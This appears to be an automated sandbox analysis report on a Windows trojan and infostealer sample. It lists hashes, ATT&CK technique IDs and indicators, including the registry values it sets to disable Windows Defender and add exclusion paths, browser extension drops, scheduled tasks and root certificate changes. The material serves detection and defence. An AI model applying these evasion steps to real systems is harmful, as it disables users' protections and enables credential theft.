3bc33cbcb0901cdc3a51bad1a794c9d850dc46b1bf4dd48b65135a652c483355

Analysis

max time kernel
151s
max time network
152s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
05/10/2022, 01:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 7.2MB
Sample221005-bc8fjadac5
SHA256 3bc33cbcb0901cdc3a51bad1a794c9d850dc46b1bf4dd48b65135a652c483355
MD5 fefb673d2653a42a869862a43bfa3062
SHA1 2ce966c796c04f28396ad07329174b393231337e
SHA512 a919e3199a4e9780d4d1352b34992fb1f11eb728bb9d4ff7347d5c80f217114d173a21e79fd6b757b60732406c4fc6f7db6469d27092006c7525edd94ce076e6
SSDEEP 196608:91O9t2W7fE8fyItR14l6RQe+11+3NFA82bN:3OL2mfyk4lgt+rENO84N
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rJaJUqPnDsUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\knLrxBGDCryPZEWZ = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\GvoOIxMhypioqxYUWFR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QrhBhAIewKJHC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\yhlYPCkQXcaQbSVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QrhBhAIewKJHC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\okeChyKeTmbHgprqQ = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\knLrxBGDCryPZEWZ = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ryYNpJDBUybU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vckoWffGU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rJaJUqPnDsUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\knLrxBGDCryPZEWZ = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\GvoOIxMhypioqxYUWFR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\yhlYPCkQXcaQbSVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\okeChyKeTmbHgprqQ = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ryYNpJDBUybU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\knLrxBGDCryPZEWZ = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vckoWffGU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Executes dropped EXE 4 IoCs

pid	Process
1016	Install.exe
2020	Install.exe
1700	sBgRQet.exe
984	kuMgayk.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1976	file.exe
1016	Install.exe
1016	Install.exe
1016	Install.exe
1016	Install.exe
2020	Install.exe
2020	Install.exe
2020	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	kuMgayk.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	kuMgayk.exe

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	kuMgayk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	kuMgayk.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	kuMgayk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_CD6513E45B8AAEA8DF3E8B0C926693B8	kuMgayk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_CD6513E45B8AAEA8DF3E8B0C926693B8	kuMgayk.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	sBgRQet.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	sBgRQet.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	sBgRQet.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	kuMgayk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	kuMgayk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	kuMgayk.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	kuMgayk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	kuMgayk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_1ACD2B4A039DF3260017F7BF28EE7323	kuMgayk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	kuMgayk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	kuMgayk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_1ACD2B4A039DF3260017F7BF28EE7323	kuMgayk.exe

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ryYNpJDBUybU2\DseArbgJneHoF.dll	kuMgayk.exe
File created	C:\Program Files (x86)\ryYNpJDBUybU2\zVLPpFd.xml	kuMgayk.exe
File created	C:\Program Files (x86)\GvoOIxMhypioqxYUWFR\fPuAxbF.dll	kuMgayk.exe
File created	C:\Program Files (x86)\vckoWffGU\leHXkvW.xml	kuMgayk.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	kuMgayk.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	kuMgayk.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	kuMgayk.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	kuMgayk.exe
File created	C:\Program Files (x86)\GvoOIxMhypioqxYUWFR\MamyWFq.xml	kuMgayk.exe
File created	C:\Program Files (x86)\vckoWffGU\sAbJeo.dll	kuMgayk.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bpCIAYFeZyKMHikKBh.job	schtasks.exe
File created	C:\Windows\Tasks\sowxjEWsCulfsCpcT.job	schtasks.exe
File created	C:\Windows\Tasks\gxWNFYjnrIlwkwP.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
896	schtasks.exe
1996	schtasks.exe
1688	schtasks.exe
1500	schtasks.exe
1404	schtasks.exe
904	schtasks.exe
972	schtasks.exe
1496	schtasks.exe
1404	schtasks.exe
584	schtasks.exe
288	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	kuMgayk.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	kuMgayk.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	kuMgayk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	kuMgayk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{D41B703F-9B6D-4ECC-8E25-AAEF2BE6AC94}\WpadDecisionReason = "1"	kuMgayk.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{D41B703F-9B6D-4ECC-8E25-AAEF2BE6AC94}\WpadNetworkName = "Network 2"	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{D41B703F-9B6D-4ECC-8E25-AAEF2BE6AC94}\be-57-01-2d-d2-7c	kuMgayk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	kuMgayk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-57-01-2d-d2-7c\WpadDecision = "0"	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-57-01-2d-d2-7c	kuMgayk.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-57-01-2d-d2-7c\WpadDecisionTime = a027a40167d8d801	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	kuMgayk.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	kuMgayk.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{D41B703F-9B6D-4ECC-8E25-AAEF2BE6AC94}\WpadDecisionTime = a027a40167d8d801	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	kuMgayk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	kuMgayk.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	kuMgayk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{D41B703F-9B6D-4ECC-8E25-AAEF2BE6AC94}	kuMgayk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{D41B703F-9B6D-4ECC-8E25-AAEF2BE6AC94}\WpadDecision = "0"	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	kuMgayk.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	kuMgayk.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	kuMgayk.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	kuMgayk.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1572	powershell.EXE
1572	powershell.EXE
1572	powershell.EXE
748	powershell.EXE
748	powershell.EXE
748	powershell.EXE
600	powershell.EXE
600	powershell.EXE
600	powershell.EXE
1652	powershell.EXE
1652	powershell.EXE
1652	powershell.EXE
984	kuMgayk.exe
984	kuMgayk.exe
984	kuMgayk.exe
984	kuMgayk.exe
984	kuMgayk.exe
984	kuMgayk.exe
984	kuMgayk.exe
984	kuMgayk.exe
984	kuMgayk.exe
984	kuMgayk.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1572	powershell.EXE
Token: SeDebugPrivilege	748	powershell.EXE
Token: SeDebugPrivilege	600	powershell.EXE
Token: SeDebugPrivilege	1652	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 1016	1976	file.exe	28
PID 1976 wrote to memory of 1016	1976	file.exe	28
PID 1976 wrote to memory of 1016	1976	file.exe	28
PID 1976 wrote to memory of 1016	1976	file.exe	28
PID 1976 wrote to memory of 1016	1976	file.exe	28
PID 1976 wrote to memory of 1016	1976	file.exe	28
PID 1976 wrote to memory of 1016	1976	file.exe	28
PID 1016 wrote to memory of 2020	1016	Install.exe	29
PID 1016 wrote to memory of 2020	1016	Install.exe	29
PID 1016 wrote to memory of 2020	1016	Install.exe	29
PID 1016 wrote to memory of 2020	1016	Install.exe	29
PID 1016 wrote to memory of 2020	1016	Install.exe	29
PID 1016 wrote to memory of 2020	1016	Install.exe	29
PID 1016 wrote to memory of 2020	1016	Install.exe	29
PID 2020 wrote to memory of 1880	2020	Install.exe	31
PID 2020 wrote to memory of 1880	2020	Install.exe	31
PID 2020 wrote to memory of 1880	2020	Install.exe	31
PID 2020 wrote to memory of 1880	2020	Install.exe	31
PID 2020 wrote to memory of 1880	2020	Install.exe	31
PID 2020 wrote to memory of 1880	2020	Install.exe	31
PID 2020 wrote to memory of 1880	2020	Install.exe	31
